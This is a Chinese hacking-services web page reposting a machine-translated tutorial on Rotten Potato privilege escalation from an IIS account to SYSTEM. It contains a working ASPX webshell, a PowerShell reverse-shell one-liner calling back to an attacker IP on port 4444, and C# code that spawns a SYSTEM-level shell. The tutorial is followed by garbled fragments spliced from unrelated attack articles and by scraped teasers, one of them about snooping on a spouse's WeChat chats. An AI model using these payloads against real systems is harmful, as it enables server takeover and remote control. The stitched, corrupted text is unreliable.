黑客技术群吧:有了Rotten Potato,我再也不需要Meterpreter了

访客4年前关于黑客接单976

假设你之前没听说过Rotten Potato的话,请我们在阅览本文之前先看看这篇有关运用Rotten Potato完结服务帐号提权的【文章】。
它的完结机制可谓是适当杂乱,它容许我们阻拦NTLM认证应战恳求并假造政策用户的安全拜访令牌,而这个进程发生在DCOM激活进程中(政策用户账号需求工作BITS-后台智能传输服务服务实例)。
拜访令牌是什么?它是一种用来描述Windows进程或线程安全状况的政策,它跟会话Cookie有些相似。
而我们所需求的就是一个具有相应权限的进程。一般来说,用户所工作的SQL server服务或许ISS服务都会具有这种权限,所以假设我们可以拿到这些系统中的Shell或许在其间完结指令实行,那我们就成功了一半了。更加搞笑的是,微软并没有批改这个安全问题,或许他们以为这也是一种“专门规划的功用”吧…
我并不计划在本文中跟我们深化评论技术细节方面的内容,我只想告知我们如安在不依赖于Meterpreter以及incognito模块的状况下去运用这个PoC。

 

PoC运用

首要,我们需求在Windows(Windows 7-Windows 2016均可)上设备IIS,,然后针对迷糊检验,现在现已开发了一些结构,这些结构统称为迷糊器。常见的迷糊检验器有sulley(在FB上面现已有人总结过了,在此不再说明),Peach,SIPIKE(用在UNIX下)等。将“command”.aspx页面(代码在下面给出)复制到webroot目录之中。
下面给出的是一份简略的脚本代码:

< %@ Page Language="VB" Debug="true" >< %@ import Namespace="system.IO" % >< %@ import N6666端口amespace="System.Diagnostics"><script runat="server">Function RunCmd(command)Dim res as integerDim myProcess As New Process()Dim myProcessStartInfo As New ProcessStartInfo(“c:windowssystem32cmd.exe”)myProcessStartInfo.UseShellExecute = falsemyProcessStartInfo.RedirectStandardOutput = truemyProcess.StartInfo = myProcessStartInfomyProcessStartInfo.Arguments=”/c “ + commandmyProcess.Start()Dim myStreamReader As StreamReader = myProcess.StandardOutputDim myString As(1)将用户增加到人物组"Mailbox Import Export" String = myStreamReader.Readtoend()myProcess.Close()RunCmd= MyStringEnd Function</script><html><body><form action="cmd.aspx" method=POST>Enter your shell command <input type=text name=cmd size=4><input type=submit name=go></form>< %if request(“cmd”) <> “” thenresponse.write(“<pre>“+ RunCmd(request(“cmd”))+ “</pre>“)end if%></body></html>

Webshell正常作业,详细如下图所示(ISS默许的apppool):

我们所具有的权限信息如下所示(whoami/priv):

我们现已拿到了我们所需求的权限,而剩余的就是拿到一个交互式的反向Powershell:

powershell -nop -c “$c = New-Object System.Net.Sockets.TCPClient(‘IP’,4444);$st = $c.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $st.Read($b, 0, $b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$ ***  = (IEX $d 2>&1 | Out-String );$ *** 2 = $ ***  + ‘PS ‘ + (pwd).Path + ‘> ‘;$ *** y = ([text.encoding]::ASCII).GetBytes($ *** 2);$st.Write($ *** y,0,$ *** y.Length);$st.Flush()};$c.Close()”


非常好,我们的反向Shell也可以正常工作。

接下来,我们需求从GitHub代码库【传送门】中下载Rotten Potato Po3C(C#),然后在Visual Studio中翻开项目代码。

翻开之后,我们先看看“Potato”项目中的_LocalToken.cs文件:

其间的mygetuser()函数告知我们,我们现在现已是“SYSTEM”了,假设我们直接在Meterpreter会话中工作我们的缝隙运用代码,那我们就可以窃取到“SYSTEM”令牌,并用它来伪装成该系统中的特别用户了。

但是我们的要求是防止运用Meterpreter,所以我们需求用不同的 *** 来完结这个政策。

首要,我们需求保证悉数都可以正常工作,因此我们需求增加一下自定义代码:

为了得到SYSTEM令牌,我们需求调用QuerySecurityContext()

API,然后在新的状况下假造令牌。接下来,我们还需求测验在目录c:windows下创建一个子目录。

完结了整个项意图编译之后,我们需求运用ILMerge.exe来创建一个独自的可实行程序。假设你选择的是Framework 3.5版别以上的渠道,别忘了批改代码中的 .NET结构版别。可供参考的样本代码如下所示:

ILMerge.exe Potato.exe NHttp.dllSharpCifs.dll Microsoft.VisualStudio.OLE.Interop.dll/out:myrotten.exe/targetplatform:v4,”C:Program Files (x86)Reference AssembliesMicrosoftFramework.NETFrameworkv4.5”

这儿我就不介绍怎样将生成的可实行程序上传到c:windowstemp目录中了,由于你应该知道怎样用PowerShell的反向Shell来完结上传了吧?

假设悉数顺利的话,你应该可以通过发动myrotten.exe并在c:windows目录下创建一个名叫“rottenpotato”的子目录了。

非常好,我们的缝隙运用PoC可以成功工作了,接下来我们持续往下看。

我们的战略如下:

其实我们并不需求跟“incognito“进行交互,我们预备通过指令行来发动一个新的进程,然后伪装成SYSTEM用户。

首要,我们需求对Program.cs的Main()函数进行一些调整:

我们需求在公共静态字符串CmdLine中存储我们即将调用的程序称谓,例如一个反向PowerShell。

接下来就是最重要的部分了,那么为了运用SYSTEM令牌生成一个新的进程,我们需求调用哪一个Windows API呢?

考虑顷刻之后,我们规划出了以下两种备选计划:

计划一
BOOL WINAPI CreateProcessAsUser(_In_opt_ HANDLE hToken,_In_opt_ LPCTSTR lpApplicationName,_Inout_opt_ LPTSTR lpCommandLine,_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,_In_ BOOL bInheritHandles,_In_ DWORD dwCreationFlags,_In_opt_ LPVOID lpEnvironment,_In_opt_ LPCTSTR lpCurrentDirectory,_In_ LPSTARTUPINFO lpStartupInfo,_Out_ LPPROCESS_INFORMATION lpProcessInformation);
计划二
BOOL WINAPI CreateProcessWithTokenW(_In_ HANDLE hToken,_In_ DWORD dwLogonFlags,_In_opt_ LPCWSTR lpApplicationName,_Inout_opt_ LPWSTR lpCommandLine,_In_ DWORD dwCreationFlags,_In_opt_ LPVOID lpEnvironment,_In_opt_ LPCWSTR lpCurrentDirectory,_In_ LPSTARTUPINFOW lpStartupInfo,_Out_ LPPROCESS_INFORMATION lpProcessInfo);

这些函数其实都是差不多的,它们都承受令牌来作为输入参数。但它们的首要差异在于:

CreateProcessWithTokenW()运用起来约束更少一点,由于它只需求SeImpersonate权限。但是,它好像无法在Session 0(我们的shell工作在其间,由于我们是从IIS服务中发动的shell)中正常作业。

CreateProcessAsUser()相同需求SeAssignPrimaryToken权限(我们有这个权限),但是它可以在Session 0中工作。
因此,关于我们来说,我们当然要选择CreateProcessAsUser()了。

我们需求设置RunMyProcessAsUser()函数,并用它来传递我们之前所获取到的令牌。

public class MyProcess {  [StructLayout(LayoutKind.Sequential)]  public struct PROCESS_INFORMATION  {    public IntPtr hProcess;    public IntPtr hThread;    public Int32 dwProcessID;    public Int32 dwThreadID;   }  [StructLayout(LayoutKind.Sequential)]  public struct SECURITY_ATTRIBUTES  {    public Int32 Length;    public IntPtr lpSecurityDescriptor;    public bool bInheritHandle;  }  [StructLayout(LayoutKind.Sequential)]  public struct STARTUPINFO  {    public Int32 cb;    public string lpReserved;    public string lpDesktop;    public string lpTitle;    public Int32 dwX;    public Int32 dwY;    public Int32 dwXSize;    public Int32 dwXCountChars;    public Int32 dwYCountChars;    public Int32 dwFillAttribute;    public Int32 dwFlags;    public Int16 wShowWindow;    public Int16 cbReserved2;    public IntPtr lpReserved2;    public IntPtr hStdInput;    public IntPtr hStdOutput;    public IntPtr hStdError;  } [DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)] public static extern bool CreateProcessAsUser(IntPtr hToken,string lpApplicationName, string lpCommandLine,      ref SECURITY_ATTRIBUTES lpProcessAttributes,ref SECURITY_ATTRIBUTES lpThreadAttributes,      bool bInheritHandle, Int32 dwCreationFlags, IntPtr lpEnvrionment,      string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo,      ref PROCESS_INFORMATION lpProcessInformation);} . . . . public bool RunMyProcessAsUser(IntPtr hToken) {    MyProcess.PROCESS_INFORMATION pi = new MyProcess.PROCESS_INFORMATION();   MyProcess.SECURITY_ATTRIBUTES sa = new MyProcess.SECURITY_ATTRIBUTES();   MyProcess.STARTUPINFO si = new MyProcess.STARTUPINFO();   try   {     sa.Length = Marshal.SizeOf(sa);     si.cb = Marshal.SizeOf(si);     si.lpDesktop = String.Empty;     bool result = MyProcess.CreateProcessAsUser(                   hToken,                   Program.CmdLine,                   String.Empty,                   ref sa, ref sa,                   false, 0, IntPtr.Zero,                   @"C:", ref si, ref pi                   );      if (!result)     {          int error = Marshal.GetLastWin32Error();          Console.WriteLine(String.Format("RunMyProcess Error: {0}", error));         return false;      }      Console.WriteLine(&qu
黑客技术群吧:有了Rotten Potato,我再也不需要Meterpreter了
ot;Executed:" + Program.CmdLine); Process currentProcess = Process.GetCurrentProcess(); } finally { if (pi.hProcess != IntPtr.Zero) MyProcess.CloseHandle(pi.hProcess); if (pi.hThread != IntPtr.Zero) MyProcess.CloseHandle(pi.hThread); } return true; }

声明完必要的数据结构以及API调用之后,我们则需求调用CreateProcessAsUser()来传递必要的参数,首要就是我们的令牌,其次是需求实行的指令以及某些默许装备值。需求提示我们的是,我们的作业目录为C:。

正如你所看到的那样,在创建进程之前,我们不计划通过调用DuplicateTokenEx()函数来复制我们的令牌,由于我们没必要这样做。

我们将在下面代码中调用我们的函数:

现在,我们需求把悉数的东西整合起来进行编译,并对我们的效果进行测验。但是在初步之前,我们要把我们的rev.bat上传到c:windowstemp目录中。

powershell -nop -c“$client = New-Object System.Net.Sockets.TCPClient(‘IP’,4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”

接下来就是见证奇观的时刻了!

在PS反向Shell(IIS用户)中,我们可以调用我们的myrotten.exe了:

我们的监听控制台状况如下所示:

总算成功啦!

 

总结

正如你所看到的那样,在这篇文章中我只跟我们介绍了怎样让相关代码正常作业,我们也可以依据自己的需求来批改项目代码(C#),也欢迎有才能的同学们可以去本项意图GitHub上奉献自己的代码。

本文翻译自:decoder.cloud
如若转载,请注明出处:decoder.cloud

黑客技术群吧:有了Rotten Potato,我再也不需要Meterpreter了

Outlook有一个dll文件OLMAPI32.dll,担任供应一些API来获取outlook账号简介信息,以及从outlook的收件箱、发件箱这样的文件夹中读取文件内容。模块2会从系统注册表中读取OLMAPI32.dll的完全途径,然后加载该dll文件并获取所需的
黑客技术群吧
API。该模块中的悉数字符串也都是加密的。图4是从注册表中获取的OLMAPI32.dll的完全途径。ps |grep .tunneld这儿我们建议运用轻量级的Linux ISO镜像,容许Ethcer更加快速的 *** live USB。任何容许用户运用操作系统而不用设备的Linux ISO镜像都可以。#define __NR_connect (__NR_SYSCALL_BASE+283)有了Rotten Potato,我再也不需要Meterpreter了

黑客技术群吧dlclose(handle);我们可以看到,我们现已得到了一台感染了meterpreter的主机,运用这个meterpreter,我们可以设置一个反向端口转发,然后在我们的主机上通过端口4444来接收meterpreter联接。远程监听端口8445(meterpreter)将接收来自端口445的联接数据,然后劫持来自445的联接,并将它们转发到metasploit。接下来,我们通过劫持某些凭证来看看怎样劫持Windows 445端口:下面我们工作一下这个程序看看,批改Activity EntryPoint Smali文件

图4 服务 Console.WriteLine(a *** .FullName);$ brctl addif br0 eth1黑客技术群吧

那么选择了加密算法,该加密什么内容呢?加密的是 用户的暗码 a 以及我们在服务器端实时生成的随机盐 b,即 a+b

es - nproc 2048

useradd aa假设是,侵犯是持续性的吗?信息收集因此提示我们,自己用的手机就别ROOT了,一般运用就不要给太多权限了,哎,仍是老梗,说的再多,依然有人不听欸。有了Rotten Potato,我再也不需要Meterpreter了

黑客技术群吧SERVICE_ENUMERATE_DEPENDENTSC:Usersthel3l> netstat -ano C:Usersthel3l> netsh firewall show config 安全研究员Michael Cobb发现了一种新的iOS侵犯技术,名为SandJacking,它通过运用Xcode中的证书缝隙,容许恶意用户将运用程序加载到
有了Rotten Potato,我再也不需要Meterpreter了
受害者的设备上。

Site1#ping 101.1.2.3 source 101.1.1.2假设我们可以创建一条Outlook规则,政策是实行payload——宣告邮件的时分即触发这条规则,也就是说政策设备发送一封邮件,就能实行payload,是不是听起来很不错?就是这样,现在你应该可以重启USB Armory了,然后初步在任何可以刺进USB的当地获取凭证。黑客技术群吧

Forwarding local port 1234 to remote port 1234

#激活会话重续前进https功用

梦想一下,我们不是在考虑从”Steve-Admin”账户一步步提高到企业处理员的途径,而是在考虑一条从华盛顿的西雅图到俄勒冈的波特兰的路。对人类而言,看着地图就能很简略看出5号州际公路就是我们需求的。但是,对电脑来说,有必要通过数学核算来核算出西雅图到波特兰的途径(类比于“Steve-Admin”账户到企业处理员的途径,条件是这条途径存在)。

该技术一般运用处理器通讯接口并运用协议、加密算法或这些算法中的安全缝隙来进行侵犯。软件侵犯取得成功的一个典型事例是对前期ATMELAT89C系列单片机的侵犯。侵犯者运用了该系列单片机擦除操作时序规划上的缝隙,运用自编程序在擦除加密锁定位后,间断下一步擦除片内程序存储器数据的操作,从而使加过密的单片机变成没加密的单片机,然后运用编程器读出片内程序。

有了Rotten Potato,我再也不需要Meterpreter了

Windows 称谓解析之 LLMNR 协议

12月25日上午,六家互联网公司(今日头条、美团大众点评网、360、腾讯、微博、小米科技)一同宣告联合声明:呼吁有关运营商严峻冲击流量劫持问题,重视互联网公司被流量劫持或许导致的严峻结果。

Chozick 说,现在的固态硬盘(SSDs)和闪存会更简略“淹死”,它们大多配有板载加密,也就是说设备的电路板有必要解码存储芯片上的悉数记载。但是,固态硬盘现在只占有1/3 PC 硬盘商场,因此传统的旋转驱动依然是首要关注点。

[1][2]黑客接单网


本文标题:黑客技术群吧:有了Rotten Potato,我再也不需要Meterpreter了

相关文章

惩罚训狗有效果吗(训狗用什么方法最好)

惩罚训狗有效果吗(训狗用什么方法最好)

狗狗智力的高低是先天的,但能否成为一条训练有素的狗狗则是靠后天慢慢培养的。甚至可以说后天的饲养以及训练对于一条狗狗来的更加的重要,可以说每条狗都能变得很出色,只是训练的难度及方法会有所差异。但在训练时...

美俄勒冈州人质劫持事件致3人死亡 含一名11岁男

  中新网9月30日电 据外媒报道,当地时间28日,美国俄勒冈州塞勒姆的一处住宅发生人质劫持事件。俄勒冈州警方29日表示,事件造成包括嫌疑人在内的3人死亡,一人受重伤。死者中包括一名11岁男孩。  ...

讲述的意思(讲述的意思解释)

讲述的意思(讲述的意思解释)

本文目录一览: 1、讲述的介绍 2、讲述和传播意思一样吗? 3、叙述,讲述,陈述三个词的区别 4、文字讲述是什么意思? 5、讲述后面搭配哪些词语? 6、陈述、讲述、描述、叙述、表述...

黑客比赛怎么参加(黑客大赛奖金)

黑客比赛怎么参加(黑客大赛奖金)

本文导读目录: 1、中国有计算机黑客竞赛吗? 2、网络安全大赛真的有吗 3、学校有一个关于网络攻防与信息对抗的比赛,很想参加,但是不知道如何准备,该参看什么书? 4、黑客攻防 我最近参加了...

网络黑客碰撞测试(单元测试四黑客与网络安全)

网络黑客碰撞测试(单元测试四黑客与网络安全)

本文目录一览: 1、常见的互联网信息安全攻击行为都有哪些 2、什么是渗透测试啊? 3、网络安全和黑客攻防有什么区别? 4、黑客攻击的三个阶段是什么?黑客在这三个阶段分别完成什么工作?...

哪里可以查老婆微信聊天已删好友

黑棘皮症是各种疾病的诱导因素,特别是小儿糖尿病,针对黑棘皮症要从生活,习惯和饮食等多方面来预防,保护孩子的身体健康,那么孩子黑棘皮症怎么预防?下面友谊长存小编带来介绍。 孩子黑棘皮症预防方法 良好...